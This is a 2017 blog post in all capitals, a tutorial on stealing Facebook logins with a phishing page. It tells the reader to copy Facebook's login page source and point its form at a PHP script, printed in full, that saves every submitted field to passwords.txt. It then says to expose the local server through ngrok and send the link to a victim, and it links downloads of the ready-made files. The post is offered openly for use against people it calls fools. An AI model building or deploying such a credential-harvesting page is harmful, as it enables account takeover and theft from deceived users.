Friday, 20 January 2017

FACEBOOK HACKING USING PHISHING PAGES...........................IT WORKS



AFTER READING THIS POST U WILL BE ABLE TO MAKE A FAKE FACEBOOK HOME PAGE AND A PHP FILE.

WHEN THE VICTIM ENTERS HIS USERNAME AND PASSWORD PHP FILE MAKES A TEXT FILE AND STORES THE DATA IN IT

REQUIREMENTS:

1.FAKE FACEBOOK PAGE

2.XAMP SERVER IN PC

3.INTERNET

4.PORT FORWARDING SOFTWARE

5.UR TARGET (MUST BE A FOOL TO MAKE THIS ATTACK SUCCESS).

6.PATIENCE



INSTRUCTIONS FOR THIS ATTACK:

1.NOW A DAYS HOSTING WEB SERVICES ARE VALIDATING THESE PHISING PAGES       AND  BLOCKING THEM 

2.SO ATTACKER HAS TO HOST THOSE PHISING PAGE IN LOCAL HOST

3.NOW ATTACKER HAS TO DO SOME PORT FORWARDING STUFF TO MAKE THOSE PAGES ACCESSIBLE ALL OVER THE WORLD

4.THEN SEND THE LINK GENERATED IN THAT EXECUTABLE FILE AND SEND IT TO THE VICTIM 

5.WHEN VICTIM LOGIN USING THIS LINK THE USERNAME AND PASSWORD WILL BE SEND TO UR PC AND GET STORED IN A FILE

6.START ENJOYING


LET'S DO IT

STEP-1

HOW TO MAKE  A FAKE FACEBOOK PAGE

1.OPEN FACEBOOK LOGIN PAGE IN BROWSER

2.GIVE A RIGHT CLICK ON IT AND CHOOSE VIEW SOURCE OPTION





3.THEN COPY THE SOURCE CODE INTO NOTEPAD AND SAVE IT AS facebook.html







4.IN THE SOURCE CODE FIND WORD "action" CHANGE THE CONTENT IN IT AS facebook.php






5.OPEN A NEW NOTEPAD FILE AND COPY THE BELOW CONTENTS AND SAVE IT AS
facebook.php

<?php
header ('location:http://www.facebook.com/');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;

?>


6.NOW YOU HAVE FAKE FACEBOOK LOGIN PAGES

IF U FEEL BORED TO DO ABOVE STUFF DOWNLOAD THE PHISHING FILE FROM THE LINKS GIVE BELOW

FOR facebook.php

https://drive.google.com/open?id=0BxrDjEJWBiNPMDVkYlNseUd5M1U

FOR facebook.html

https://drive.google.com/open?id=0BxrDjEJWBiNPZFExWjRiQngwQnM



FOR THIS ATTACK U HAVE TO USE  AN EXECUTABLE FILE ngrok.exe TO PORT FORWARDING YOUR LOCAL HOST

U CAN DOWNLOAD THIS FILE FROM THE LINK BELOW

https://drive.google.com/open?id=0BxrDjEJWBiNPcVI1MjRlZVZHYTA


1.START YOUR LOCAL WEBSERVER

2.OPEN THE ngrok.exe AND TYPE ngrok.exe http <portnumber of ur local host>





3.IT WILL GIVES U LINK WHICH ACTS AS LINK TO YOUR LOCAL HOST




4.ATTACH  LOCATION OF facebook.html TO THAT LINK AND  AND SEND IT TO THE VICTIM





5.WHEN  VICTIM USES THAT PAGE FOR LOG IN A FILE NAMED password.txt WILL BE CREATED AND STORES THE USERNAME AND PASSWORD HE USED








IF ANYONE HAS BETTER IDEA DON'T FORGET TO GIVE ME A CLUE IN COMMENT SECTION

                                                                                                START ENJOYING


No comments:

Post a Comment